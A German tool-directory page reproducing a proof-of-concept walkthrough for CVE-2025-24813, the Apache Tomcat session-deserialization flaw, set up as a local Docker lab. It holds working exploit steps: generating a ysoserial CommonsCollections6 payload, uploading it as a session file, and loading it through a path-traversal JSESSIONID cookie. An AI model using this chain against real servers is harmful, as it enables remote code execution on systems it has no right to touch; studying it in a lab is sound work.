Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2025-24813 — Proof-of-Concept-Exploit für CVE-2025-24813, der die Apache Tomcat HTTP PUT File Write Sicherheitslücke demonstriert, die zu bösartiger Session-Deserialisierung und Remote-Code-Ausführung führt. | Kitploit
Tools/GitHubGitHub/arthurabriel/poc-cve-2025-24813
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

Proof-of-Concept-Exploit für CVE-2025-24813, der die Apache Tomcat HTTP PUT File Write Sicherheitslücke demonstriert, die zu bösartiger Session-Deserialisierung und Remote-Code-Ausführung führt.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 8 MonatenNoch nicht geprüft

CVE-2025-24813 – Demonstrationsumgebung (PoC)

Dieses Repository enthält eine einfache Anwendung, die erstellt wurde, um das Verhalten von CVE-2025-24813 zu beobachten, einer aktuellen Schwachstelle im Apache Tomcat im Zusammenhang mit der Nutzung des DefaultServlet mit aktiviertem Schreibzugriff (readonly=false), die unsichere Schreiboperationen über HTTP PUT (mit Unterstützung für partial PUT / Content-Range) ermöglicht, was zur Überschreibung sensibler Dateien, einschließlich Sitzungsdateien, führen kann – was Szenarien für RCE ermöglicht, falls eine bösartige Deserialisierung auftritt.

Über diesen PoC

Die Anwendung verwendet:

KomponenteFunktion
Tomcat 9 + JDK 11Verwundbarer Server als Ziel verwendet
context.xmlAktiviert PersistentManager + FileStore, das Sitzungen auf der Festplatte speichert
upload.jspEinfacher Endpunkt, der Daten empfängt und auf die Festplatte schreibt
/tmp/app-data/Verzeichnis, in dem die Uploads gespeichert werden

Die anfängliche Idee ist zu beobachten, wie Tomcat Dateien in einer für die Untersuchung des CVE konfigurierten Umgebung behandelt – beginnend mit einer harmlosen Anfrage, die nur eine Datei kontrolliert speichert (ohne Exploit-Versuch) und unmittelbar danach eine bösartige Datei.

Build und Ausführung

  1. Build der Docker-Image
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. Container ausführen
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

Überwachen von syscalls execve

Führen Sie in einem anderen Terminal die folgenden Befehle aus.

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

Erster Test (gute und sichere Anfrage)

Wir senden eine einfache Datei, um das normale Verhalten zu beobachten.

Upload durch Senden einer Zeichenfolge

root@kitploit:~
echo "Arquivo Normal" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "Essa é apenas uma mensagem simples."

Wenn alles korrekt ist, sollte im Terminal mit strace nichts erscheinen.

Hinweis: Falls SIGSEGV-Fehler im strace auftauchen, ignorieren Sie diese. Sie sind JVM-Rauschen.

Ausnutzen der Schwachstelle

  1. YSoSerial herunterladen Werkzeug zum Generieren serialisierter Java-Objekte mit bekannten Gadget-Ketten.
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. Bösartiges Payload im Sitzungsformat generieren

Hier verwenden wir die Kette CommonsCollections6, um ein Objekt zu generieren, das in einem verwundbaren Szenario den Befehl touch /tmp/RCE ausführen könnte. Das Payload wird als hack.session gespeichert.

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Falls der vorherige Befehl einen Fehler ergibt, liegt das daran, dass zur Gewährleistung der Kompatibilität mit modernen Java-Versionen (9+) das Flag --add-opens hinzugefügt werden muss, um die starke Kapselung (JPMS) zu deaktivieren, die andernfalls die vom ysoserial verwendete Reflektion blockieren würde.

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Nach diesem Befehl haben Sie eine lokale Binärdatei:

root@kitploit:~
hack.session
  1. Upload des Payloads auf den Server

Wir senden die .session-Datei an den JSP-Endpunkt, der den Inhalt direkt in das Verzeichnis /tmp/app-data schreibt.

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

Erwartete Ausgabe:

Arquivo salvo com sucesso em: /tmp/app-data/hack.session

📌 Zu diesem Zeitpunkt wird kein Befehl ausgeführt – es erfolgt lediglich ein Dateischreibvorgang auf dem Server.

  1. Die injizierte Sitzung verwenden

Jetzt senden wir eine Anfrage mit dem Cookie JSESSIONID=hack, um zu versuchen, Tomcat zu zwingen, die neu erstellte Sitzung zu laden.

root@kitploit:~
 curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

Im Terminal mit strace sollten execve-Befehle aufgetaucht sein, die die Datei erstellen.

Um zu überprüfen, ob die Datei erstellt wurde, können wir auch in den Container gehen und nachsehen:

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
Tool herunterladen